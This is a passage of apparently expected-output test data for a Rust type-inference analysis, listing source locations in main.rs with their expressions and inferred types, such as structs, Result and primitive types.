main.rs:1101:13:1101:14 | x6 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1101:13:1101:14 | x6 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:18:1101:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1101:18:1101:23 | &... | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1101:18:1101:23 | &... | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:19:1101:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1101:19:1101:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:21:1101:22 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:18:1103:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1103:26:1103:30 | (...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1103:26:1103:30 | (...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:26:1103:35 | ... .m1() | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:27:1103:29 | * ... | | main.rs:1057:5:1058:19 | S | +| main.rs:1103:27:1103:29 | * ... | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:28:1103:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:1103:28:1103:29 | x6 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1103:28:1103:29 | x6 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:13:1105:14 | x7 | | main.rs:1057:5:1058:19 | S | +| main.rs:1105:13:1105:14 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1105:13:1105:14 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:18:1105:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1105:18:1105:23 | S(...) | T | file://:0:0:0:0 | & | +| main.rs:1105:18:1105:23 | S(...) | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:20:1105:22 | &S2 | | file://:0:0:0:0 | & | +| main.rs:1105:20:1105:22 | &S2 | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:21:1105:22 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1108:13:1108:13 | t | | file://:0:0:0:0 | & | +| main.rs:1108:13:1108:13 | t | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1108:17:1108:18 | x7 | | main.rs:1057:5:1058:19 | S | +| main.rs:1108:17:1108:18 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1108:17:1108:18 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1108:17:1108:23 | x7.m1() | | file://:0:0:0:0 | & | +| main.rs:1108:17:1108:23 | x7.m1() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1109:18:1109:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1109:26:1109:27 | x7 | | main.rs:1057:5:1058:19 | S | +| main.rs:1109:26:1109:27 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1109:26:1109:27 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1116:16:1116:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1116:16:1116:20 | SelfParam | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1119:16:1119:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1119:16:1119:20 | SelfParam | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1119:32:1121:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1119:32:1121:9 | { ... } | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1120:13:1120:16 | self | | file://:0:0:0:0 | & | +| main.rs:1120:13:1120:16 | self | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1120:13:1120:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:1120:13:1120:22 | self.foo() | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1128:16:1128:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1128:16:1128:20 | SelfParam | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1128:36:1130:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1128:36:1130:9 | { ... } | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1129:13:1129:16 | self | | file://:0:0:0:0 | & | +| main.rs:1129:13:1129:16 | self | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1134:13:1134:13 | x | | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1134:17:1134:24 | MyStruct | | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1135:9:1135:9 | x | | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1135:9:1135:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:1135:9:1135:15 | x.bar() | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1145:16:1145:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1145:16:1145:20 | SelfParam | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1145:16:1145:20 | SelfParam | &T.T | main.rs:1144:10:1144:10 | T | +| main.rs:1145:32:1147:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1145:32:1147:9 | { ... } | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1145:32:1147:9 | { ... } | &T.T | main.rs:1144:10:1144:10 | T | +| main.rs:1146:13:1146:16 | self | | file://:0:0:0:0 | & | +| main.rs:1146:13:1146:16 | self | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1146:13:1146:16 | self | &T.T | main.rs:1144:10:1144:10 | T | +| main.rs:1151:13:1151:13 | x | | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1151:13:1151:13 | x | T | main.rs:1140:5:1140:13 | S | +| main.rs:1151:17:1151:27 | MyStruct(...) | | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1151:17:1151:27 | MyStruct(...) | T | main.rs:1140:5:1140:13 | S | +| main.rs:1151:26:1151:26 | S | | main.rs:1140:5:1140:13 | S | +| main.rs:1152:9:1152:9 | x | | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1152:9:1152:9 | x | T | main.rs:1140:5:1140:13 | S | +| main.rs:1152:9:1152:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:1152:9:1152:15 | x.foo() | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1152:9:1152:15 | x.foo() | &T.T | main.rs:1140:5:1140:13 | S | +| main.rs:1160:15:1160:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1160:15:1160:19 | SelfParam | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1160:31:1162:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1160:31:1162:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:13:1161:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1161:13:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:14:1161:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1161:14:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:15:1161:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1161:15:1161:19 | &self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:16:1161:19 | self | | file://:0:0:0:0 | & | +| main.rs:1161:16:1161:19 | self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1164:15:1164:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1164:15:1164:25 | SelfParam | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1164:37:1166:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1164:37:1166:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:13:1165:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1165:13:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:14:1165:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1165:14:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:15:1165:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1165:15:1165:19 | &self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:16:1165:19 | self | | file://:0:0:0:0 | & | +| main.rs:1165:16:1165:19 | self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1168:15:1168:15 | x | | file://:0:0:0:0 | & | +| main.rs:1168:15:1168:15 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1168:34:1170:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1168:34:1170:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1169:13:1169:13 | x | | file://:0:0:0:0 | & | +| main.rs:1169:13:1169:13 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1172:15:1172:15 | x | | file://:0:0:0:0 | & | +| main.rs:1172:15:1172:15 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1172:34:1174:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1172:34:1174:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:13:1173:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1173:13:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:14:1173:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1173:14:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:15:1173:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1173:15:1173:16 | &x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:16:1173:16 | x | | file://:0:0:0:0 | & | +| main.rs:1173:16:1173:16 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1178:13:1178:13 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1178:17:1178:20 | S {...} | | main.rs:1157:5:1157:13 | S | +| main.rs:1179:9:1179:9 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1179:9:1179:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1179:9:1179:14 | x.f1() | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1180:9:1180:9 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1180:9:1180:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1180:9:1180:14 | x.f2() | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1181:9:1181:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1181:9:1181:17 | ...::f3(...) | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1181:15:1181:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1181:15:1181:16 | &x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1181:16:1181:16 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1195:43:1198:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1195:43:1198:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1195:43:1198:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:13:1196:13 | x | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:17:1196:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1196:17:1196:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:17:1196:31 | TryExpr | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:28:1196:29 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1197:9:1197:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1197:9:1197:22 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1197:9:1197:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1197:20:1197:21 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1201:46:1205:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1201:46:1205:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1201:46:1205:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1202:13:1202:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1202:13:1202:13 | x | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1202:17:1202:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1202:17:1202:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1202:28:1202:29 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1203:13:1203:13 | y | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1203:17:1203:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1203:17:1203:17 | x | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1203:17:1203:18 | TryExpr | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1204:9:1204:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:9:1204:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1204:9:1204:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1204:20:1204:21 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1208:40:1213:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1208:40:1213:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1208:40:1213:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:13:1209:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:13:1209:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:13:1209:13 | x | T.T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:17:1209:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | T.T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:28:1209:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:28:1209:41 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:39:1209:40 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1211:17:1211:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:17 | x | T.T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1211:17:1211:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:18 | TryExpr | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1211:17:1211:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1212:9:1212:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1212:9:1212:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1212:9:1212:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1212:20:1212:21 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1216:30:1216:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1216:30:1216:34 | input | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1216:30:1216:34 | input | T | main.rs:1216:20:1216:27 | T | +| main.rs:1216:69:1223:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1216:69:1223:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1216:69:1223:5 | { ... } | T | main.rs:1216:20:1216:27 | T | +| main.rs:1217:13:1217:17 | value | | main.rs:1216:20:1216:27 | T | +| main.rs:1217:21:1217:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1217:21:1217:25 | input | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1217:21:1217:25 | input | T | main.rs:1216:20:1216:27 | T | +| main.rs:1217:21:1217:26 | TryExpr | | main.rs:1216:20:1216:27 | T | +| main.rs:1218:22:1218:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:22:1218:38 | ...::Ok(...) | T | main.rs:1216:20:1216:27 | T | +| main.rs:1218:22:1221:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:33:1218:37 | value | | main.rs:1216:20:1216:27 | T | +| main.rs:1218:53:1221:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:53:1221:9 | { ... } | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1219:22:1219:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1222:9:1222:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1222:9:1222:23 | ...::Err(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1222:9:1222:23 | ...::Err(...) | T | main.rs:1216:20:1216:27 | T | +| main.rs:1222:21:1222:22 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1226:37:1226:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1226:37:1226:52 | try_same_error(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1226:37:1226:52 | try_same_error(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1227:22:1227:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1230:37:1230:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1230:37:1230:55 | try_convert_error(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1230:37:1230:55 | try_convert_error(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1231:22:1231:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1234:37:1234:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1234:37:1234:49 | try_chained(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1234:37:1234:49 | try_chained(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1235:22:1235:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1238:37:1238:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1238:37:1238:63 | try_complex(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:37:1238:63 | try_complex(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:49:1238:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1238:49:1238:62 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:49:1238:62 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:60:1238:61 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1239:22:1239:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1246:13:1246:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1246:22:1246:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1247:13:1247:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1247:17:1247:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1248:17:1248:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1248:21:1248:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1249:13:1249:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1249:17:1249:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1249:17:1249:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1250:13:1250:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:1250:17:1250:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:1251:13:1251:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1251:21:1251:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1252:13:1252:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:1252:17:1252:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:1253:13:1253:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1253:17:1253:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1254:13:1254:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1254:17:1254:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1261:13:1261:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1261:17:1261:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1261:17:1261:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1261:25:1261:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1262:13:1262:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1262:17:1262:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1262:17:1262:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1262:25:1262:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1264:13:1264:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1265:20:1265:21 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1265:26:1265:27 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | +| main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | +| main.rs:1267:22:1267:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1267:22:1267:26 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1267:26:1267:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1269:13:1269:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1269:13:1269:17 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1269:17:1269:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1271:9:1271:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1288:16:1288:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1288:22:1288:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1288:41:1293:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1289:13:1292:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1290:20:1290:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1290:20:1290:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1290:20:1290:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1290:29:1290:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1290:29:1290:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:20:1291:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1291:20:1291:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:20:1291:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:29:1291:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1291:29:1291:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1298:23:1298:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1298:23:1298:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1298:34:1298:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1299:13:1299:16 | self | | file://:0:0:0:0 | & | +| main.rs:1299:13:1299:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1299:13:1299:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1299:13:1299:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1299:23:1299:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1299:23:1299:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1300:13:1300:16 | self | | file://:0:0:0:0 | & | +| main.rs:1300:13:1300:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1300:13:1300:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1300:13:1300:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1300:23:1300:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1300:23:1300:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1306:16:1306:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1306:22:1306:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1306:41:1311:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1307:13:1310:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1308:20:1308:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1308:20:1308:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1308:20:1308:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1308:29:1308:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1308:29:1308:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:20:1309:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1309:20:1309:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:20:1309:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:29:1309:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1309:29:1309:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1316:23:1316:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1316:23:1316:31 | 